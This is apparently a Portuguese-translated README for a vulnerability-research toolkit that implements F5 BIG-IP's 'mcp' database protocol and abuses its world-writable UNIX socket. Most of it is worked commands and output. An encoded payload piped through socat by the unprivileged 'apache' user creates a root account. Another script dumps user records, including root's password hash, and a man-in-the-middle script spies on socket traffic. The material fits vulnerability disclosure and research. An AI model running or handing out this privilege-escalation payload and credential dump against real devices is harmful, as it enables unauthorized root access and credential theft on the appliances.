
Uma implementação do protocolo `mcp` da F5, incluindo ferramentas de MitM para farejar tráfego durante a caça a vulnerabilidades.
Este projeto ainda não está realmente concluído ou pronto, mas eu queria registrar o código.
Isto basicamente implementa o protocolo de banco de dados da F5, "mcp", que opera através de um socket de domínio UNIX. Isso significa que você precisa de um shell no dispositivo F5 antes de poder usar qualquer um destes. Você normalmente encaminhará a saída de um script para /var/run/mcp usando socat e então passará a resposta para mcp-parser.rb. Mais detalhes abaixo.
Um resumo rápido dos scripts:
mcp-getloot.rb - Gera uma mensagem que despeja usuários e variáveismcp-privesc.rb - Gera uma mensagem que criará uma conta de usuáriomcp-parser.rb - Analisa mensagens mcp que chegam na stdinmcp-mitm.rb - Espiona mensagens mcp em um host alvo (requer que o ssh sem senha para root esteja configurado)mcp-builder.rb - Uma biblioteca para construir mensagens mcp (você não precisa usar diretamente)mcp-generateobjects.rb - Uma ferramenta para gerar mcp-objects.txt (você não deve precisar disso)MCP é um banco de dados proprietário (pelo que sei) usado pelo F5 BigIP. É acessado através de /var/run/mcp, um socket de domínio UNIX com permissões 0777 (ou seja, qualquer usuário pode acessá-lo).
O protocolo é no estilo TLV, com uma porção enorme de tipos (mais de 41.000). Todos estão listados em mcp-objects.txt.
Eu implementei um analisador que você pode encontrar em mcp-parser.rb, e você pode encontrar várias mensagens diferentes em mcp-parser-tests.rb.
Também criei um construtor, mcp-builder.rb, embora não seja realmente projetado para ser fácil de usar. Nós temos uma função pré-definida que cria um pacote MCP que cria uma conta de usuário em nível root, o que é bem legal. Você pode usar mcp-privesc.rb para criar esse pacote.
Para se comunicar diretamente com o MCP, você geralmente usará socat. O código em mcp-builder.rb pode criar pacotes, embora não seja projetado para ser executado diretamente. Os scripts que você provavelmente vai querer usar diretamente são:
mcp-getloot.rb - para obter usuários e configuraçõesmcp-privesc.rb - para adicionar uma nova conta em nível rootmcp-parser.rb - para analisar a resposta (na stdin)Para usar um dos scripts de consulta, execute-o e encontre uma maneira de enviar a saída para o socket UNIX no alvo. Aqui está um exemplo em que compactamos com gzip + codificamos em base64 a saída de mcp-privesc.rb:
$ ruby ./mcp-privesc.rb blogtest MyFunPW | gzip | base64 -w0
Attempting to create a crypt-sha512 hash of the password
Writing an `mcp` message to stdout that'll create an account: blogtest / $6$vdznqfyc$q9LEJmhlDZK3HQY0L0WuiKfXaKJtQmOY7lIkMS/IxftTmZs.PdlYXxmxjRQ4f529gl13NsqWlZdd/eksunJT01
Send it to the target using: socat -t100 - UNIX-CONNECT:/var/run/mcp < mcpmessage.bin
H4sIAAAAAAAAA2NgYBBnQAICGgy8QIpfQJOBH0izM7AmpuRm5oFkkJVx54CVcajaMbBChSxR5KPA8oYCLGBaU4ANbBwXA0dSTn56SWpxiQA7RKcAB8yiaMecnFgg8yAWg3ZyC4LpjdxC6AbJnwSLcDCwOefn5ubnCcZDDOaWBItzM3DqJ2Xm6SclFmdwi4ClGLmFwVIpDEkqZiplKVV5hWmVySqFlj6uXrkZOS5R3sYegZEGPgbhpZneaRGJ3l4lgbn+keY5ntm+wfqeFWklIblRxXoBKTmRERW5FVlBgSZppkaW6TmGxn7FheE5USkp+qnZxaV5XiEGhmCnIXsoD+wRBgAyeb1ueQEAAA==
Então podemos copiá-lo e colá-lo em uma sessão ssh no alvo, onde ele é enviado para o socket UNIX (observe que estamos fazendo isso como um usuário não root para demonstrar que é possível):
$ whoami
apache
$ echo -ne 'H4sIAAAAAAAAA2NgYBBnQAICGgy8QIpfQJOBH0izM7AmpuRm5oFkkJVx54CVcajaMbBChSxR5KPA8oYCLGBaU4ANbBwXA0dSTn56SWpxiQA7RKcAB8yiaMecnFgg8yAWg3ZyC4LpjdxC6AbJnwSLcDCwOefn5ubnCcZDDOaWBItzM3DqJ2Xm6SclFmdwi4ClGLmFwVIpDEkqZiplKVV5hWmVySqFlj6uXrkZOS5R3sYegZEGPgbhpZneaRGJ3l4lgbn+keY5ntm+wfqeFWklIblRxXoBKTmRERW5FVlBgSZppkaW6TmGxn7FheE5USkp+qnZxaV5XiEGhmCnIXsoD+wRBgAyeb1ueQEAAA==' | base64 -d | gunzip - | socat -t100 - UNIX-CONNECT:/var/run/mcp | gzip | base64 -w0
H4sIAB91UGMAA2NgYJBjQALcIQy8QEqMO5SBFcwPZ+AR0OCOAJKaYAUEVXNHgVRzCzIwAABM8W1YXAAAAA==
bash-4.2$ su blogtest
Password:
[...]
[blogtest@localhost:NO LICENSE:Standalone] config # whoami
root
Também podemos analisar a resposta que obtivemos usando mcp-parser.rb:
$ echo -ne 'H4sIAB91UGMAA2NgYJBjQALcIQy8QEqMO5SBFcwPZ+AR0OCOAJKaYAUEVXNHgVRzCzIwAABM8W1YXAAAAA==' | base64 -d | gunzip - | ruby ./mcp-parser.rb
result (structure [22 bytes]):
result_code (ulong) = 0x00000000 (0)
result_operation (tag) = user_authenticated
result_type (tag) = user_authenticated_name
result (structure [22 bytes]):
result_code (ulong) = 0x00000000 (0)
result_operation (tag) = create
result_type (tag) = userdb_entry
Você pode, é claro, fazer tudo em um único comando; aqui está como você pode usar mcp-getloot.rb:
$ ruby ./mcp-getloot.rb | ssh [email protected] socat -t100 - UNIX-CONNECT:/var/run/mcp | ruby ./mcp-parser.rb | head -n30
Writing an `mcp` message to stdout that'll query for interesting stuff
Send it to the target using: socat -t100 - UNIX-CONNECT:/var/run/mcp < mcpmessage.bin
query_reply (structure [949 bytes]):
userdb_entry (structure [233 bytes]):
userdb_entry_name (string [6 bytes]) = "root"
trunk_virtual_mbr_transaction_id (ulong) = 0x00000001 (1)
userdb_entry_partition_id (string [8 bytes]) = "Common"
fw_analytics_settings_dns_collect_dst_i... (long) = 0xffffffff (4294967295)
userdb_entry_is_system (ulong) = 0x00000001 (1)
userdb_entry_oldpasswd (string [2 bytes]) = ""
userdb_entry_shell (string [11 bytes]) = "/bin/bash"
userdb_entry_gecos (string [6 bytes]) = "root"
userdb_entry_is_crypted (ulong) = 0x00000001 (1)
userdb_entry_passwd (string [100 bytes]) = "$6$UIHYzBX6$UClrSPt1o/G2meP27zBzRJnAjWEIkhNEQzqDYwn5gtnoKqFeGhnJveUUHGavaPU1FO9eif2pnADjDN/5YgMI3/"
userdb_entry_description (string [2 bytes]) = ""
userdb_entry_object_id (ulong) = 0x00002a70 (10864)
userdb_entry (structure [251 bytes]):
userdb_entry_name (string [7 bytes]) = "admin"
[...]
db_variable (structure [224 bytes]):
db_variable_name (string [38 bytes]) = "platform.diskmonitor.freelast.vmdisk"
db_variable_transaction_id (ulong) = 0x0000004b (75)
db_variable_scf_config (string [7 bytes]) = "false"
db_variable_maximum (string [2 bytes]) = ""
db_variable_minimum (string [2 bytes]) = ""
db_variable_data_type (string [9 bytes]) = "integer"
db_variable_sync_type (string [18 bytes]) = "private_internal"
db_variable_default (string [3 bytes]) = "0"
db_variable_value (string [3 bytes]) = "0"
db_variable_display_name (string [38 bytes]) = "Platform.DiskMonitor.FreeLast.vmdisk"
db_variable_object_id (ulong) = 0x0000e705 (59141)
db_variable_enumerated (array [6 bytes]): Array data: 000f00000000
Eu também escrevi uma ferramenta para inspecionar/registrar consultas de banco de dados em tempo real - mcp-mitm.rb. Isso não é um exploit, é apenas uma ferramenta de análise que requer login root. Efetivamente, ela move /var/run/mcp e o substitui por um socket que controlamos, e então analisa todas as mensagens que passam por ele.
Para executá-la:
ssh root@<target> sem senha ou qualquer outra entrada (ou edite o código e desative DO_SETUP)Praticamente qualquer "dano" em potencial é corrigido com uma reinicialização, já que o socket é criado na inicialização, mas você provavelmente não vai querer fazer isso em produção.
De qualquer forma, execute sem argumentos para ver o uso e, em seguida, preencha os endereços IP importantes:
$ ruby ./mcp-mitm.rb
Usage: ruby ./mcp-mitm.rb <your ip> <target ip> [listen port 1] [listen port 2]
[...]
$ ruby ./mcp-mitm.rb 10.0.0.179 10.0.0.162
$ ruby ./mcp-mitm.rb 10.0.0.179 10.0.0.162
Configuration (edit the script to change, this is a PoC!):
Your IP: 10.0.0.179
Target IP: 10.0.0.162
Listening port 1: 1234
Listening port 2: 1235
SSH into the target to set things up: true
(Make sure you can ssh into the host as root with no password)
(Yes yes, I know it's a PoC!)
SSH'ing into the server to set things up
Ready!
Se você esperar um pouco (ou fizer coisas no servidor), verá sessões:
Received session @ #<TCPSocket:0x000000000170d630> <--> #<TCPSocket:0x000000000170d658>
user_authenticated (structure [15 bytes]):
user_authenticated_name (string [7 bytes]) = "admin"
start_transaction (structure [8 bytes]):
start_transaction_load_type (ulong) = 0x00000000 (0)
[...]
Ctrl-c vai interromper a execução e consertar o socket:
^CSSH'ing into the server to fix things
Session 1 closed?
Ending thread
Ending thread
Traceback (most recent call last):
3: from ./mcp-mitm.rb:149:in `<main>'
2: from ./mcp-mitm.rb:149:in `loop'
1: from ./mcp-mitm.rb:151:in `block in <main>'
./mcp-mitm.rb:151:in `accept': Interrupt
E é isso!